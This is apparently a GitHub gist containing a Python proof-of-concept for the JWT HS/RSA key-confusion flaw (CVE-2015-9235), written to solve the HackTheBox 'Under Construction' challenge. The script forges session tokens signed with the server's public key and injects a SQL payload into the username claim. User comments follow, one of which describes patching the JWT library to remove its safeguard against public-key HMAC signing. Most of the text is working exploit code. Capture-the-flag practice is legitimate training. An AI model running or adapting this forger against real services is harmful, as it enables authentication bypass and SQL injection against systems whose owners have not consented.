Skip to content

Instantly share code, notes, and snippets.

@wulfgarpro
Last active January 4, 2024 17:24
Show Gist options
  • Save wulfgarpro/3e87ae77a7107a3e3a2453eb38a3de20 to your computer and use it in GitHub Desktop.
Save wulfgarpro/3e87ae77a7107a3e3a2453eb38a3de20 to your computer and use it in GitHub Desktop.
HTB "Under Construction" CVE-2015-9235 PoC
"""
CVE-2015-9235 PoC, known as
"JWT HS/RSA key confusion vulnerability".
This PoC was used to solve the HTB challenge
"Under Construction" on HackTheBox (HTB).
USAGE:
==
Token was obtained by logging into the
"Under Construction" web app provided by the
HTB challenge:
1. Register a user via the register function
2. Start Burp proxy and configure browser to
connect to proxy
3. Login via the login function with "Intercept is on"
4. Forward request and send response to repeater
5. Copy token from the "Cookie: session=" header to file,
e.g. jwt_token_example.txt
6. Invoke jwt_forge.py with subshell:
python3 jwt_token.py $(cat jwt_token_example.txt) username
"""
import sys
import argparse
import base64 # Encode/decode strings in Base64Url
import json
import jwt
from colorama import Fore
# Quick intro to JWT tokens:
# ==
#
# JWT Token;
# Three parts, seperated by ".":
# 1. Header
# 2. Payload
# 3. Signature
#
# Each part is Base64Url encoded.
#
# Header consists of:
# * Type of token (JWT)
# * Signing Algorithm; HMAC SHA256 (HS256) or RSA.
#
# Payload consists of token "claims".
# There are three types of claims:
# 1. Registered
# 2. Public
# 3. Private
#
# Claims, although protected against tampering,
# are readable by anyone.
#
# The signature is the verifying message.
# For example, HMAC SHA256, as specified
# in the header if chosen as the signing
# method, consists of:
# * The Base64Url encoded header and payload,
# seperated by ".", plus a secret, known only
# by the signer
# e.g.
# HMACSHA256(
# base64UrlEncode(header) + "." +
# base64UrlEncode(payload),
# secret)
#
# The final token is made up of these three
# Base64Url strings - separated by dots.
parser = argparse.ArgumentParser(description="JWT Key Confusion Forger for HTB Under Construction")
parser.add_argument("token", type=str, help="JWT token to confuse (must include 'pk' payload)")
parser.add_argument("sqli_cmd", type=str, help="SQL injected username to replace token username")
args = parser.parse_args()
TOKEN=args.token
SQLI_CMD = args.sqli_cmd
HEADER_ENCODED = None
PAYLOAD_ENCODED = None
SIGNATURE_ENCODED = None
TOKEN_SPLIT = []
for t in TOKEN.split("."):
TOKEN_SPLIT.append(t)
HEADER_ENCODED = TOKEN_SPLIT[0]
PAYLOAD_ENCODED = TOKEN_SPLIT[1]
SIGNATURE_ENCODED = TOKEN_SPLIT[2]
#print("HEADER ENCODED: {}\n".format(HEADER_ENCODED))
#print("PAYLOAD ENCODED: {}\n".format(PAYLOAD_ENCODED))
#print("SIGNATURE ENCODED: {}\n".format(SIGNATURE_ENCODED))
print()
print(Fore.BLUE + "Decoding JWT Token..." + Fore.RESET)
print()
HEADER_DECODED = base64.urlsafe_b64decode(HEADER_ENCODED).decode('UTF-8')
PAYLOAD_DECODED = base64.urlsafe_b64decode(PAYLOAD_ENCODED).decode('UTF-8')
PAYLOAD = json.loads(PAYLOAD_DECODED)
# Replace username in payload with SQLi command.
try:
USERNAME = PAYLOAD.get('username')
print(Fore.GREEN + "Found username:" + Fore.RESET)
print(USERNAME)
except KeyError:
print(Fore.RED + "ERROR: No username found in payload. Abort." + Fore.RESET)
sys.exit(-1)
print()
print(Fore.GREEN + "Replacing username {} with".format(USERNAME) + Fore.RESET)
print(SQLI_CMD)
print()
PAYLOAD['username'] = SQLI_CMD
# Attack!
# Re-create token, update alg to HS256 and sign with public key.
#
# As per: CVE-2015-9235 and this blog,
# https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/,
# the server side will "verify" the token validity by:
# 1. Expecting "RSA", but receiving "HS256"
# 2. Blindly passing the public key as the "verificationKey",
# confusing the public key as the verification key for the HS256
#
# Since the attacker signs the token with the public key as the 'secret' to
# the HS256 secret key alg, the server side verification will result in a
# verified token.
#
# Apparently this was a vulnerability in multiple JWT token implementations
# including "jsonwebtoken" as described here:
# https://snyk.io/vuln/npm:jsonwebtoken:20150331
# "Under Construction"'s package.json includes "jsonwebtoken", although at
# version ^8.5.1 which is not vulnerable?
# FUTURE: I guess the server side version is old and therefore vulnerable?
# 1. Get the supplied server public key 'pk' from PAYLOAD
try:
PK = PAYLOAD.get('pk')
print(Fore.GREEN + "Found public key:" + Fore.RESET)
print(PK)
print()
except KeyError:
print(Fore.RED + "ERROR: No public key 'pk' found in payload. Abort." + Fore.RESET)
sys.exit(-1)
print(Fore.GREEN + "Final payload:" + Fore.RESET)
print(json.dumps(PAYLOAD))
print()
# 2. Create a new token using pk as the 'secret' for HS256 alg;
# FUTURE: using pyjwt's jwt.encode - re-implement later?
print(Fore.BLUE + "Forging confused token ..." + Fore.RESET)
FORGED_TOKEN_ENC = jwt.encode(PAYLOAD, PK, algorithm="HS256")
# 3. Print encoded token for use against web app
print()
print(Fore.GREEN + "Forged token:" + Fore.RESET)
print(FORGED_TOKEN_ENC.decode('UTF-8'))
print()
print(Fore.YELLOW + "Copy the above forged token and substitute token in request." + Fore.RESET)
@DrJekels
Copy link

I keep getting this error: binascii.Error: Incorrect padding for line 99

@p27182
Copy link

p27182 commented Oct 14, 2022

@wulfgarpro thanks for this script! I was having trouble with this box...
@DrJekels I added to line 99 to fix that:
PAYLOAD_DECODED = base64.urlsafe_b64decode(PAYLOAD_ENCODED+ '==').decode('UTF-8')
currently looking into this error:
Forging confused token ... Traceback (most recent call last): File "/home/user/htb/beg/under_construction/jwt_forge.py", line 156, in <module> FORGED_TOKEN_ENC = jwt.encode(PAYLOAD, PK, algorithm="HS256") AttributeError: module 'jwt' has no attribute 'encode' ill postup if I figure it out...
edit: seems that the module required is pyjwt NOT jwt
pip uninstall jwt pip uninstall pyjawt pip install pyjwt
but then I got an error saying that it prevents you from using a pk with HS alg... attempted to revert to pyjwt 0.4.3 but got a new import error...
EDIT: ended up editing the original JWT lib code at error line indicated to not care about the use of a public key with HMAC...

@DrJekels
Copy link

Thxs @p27182.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment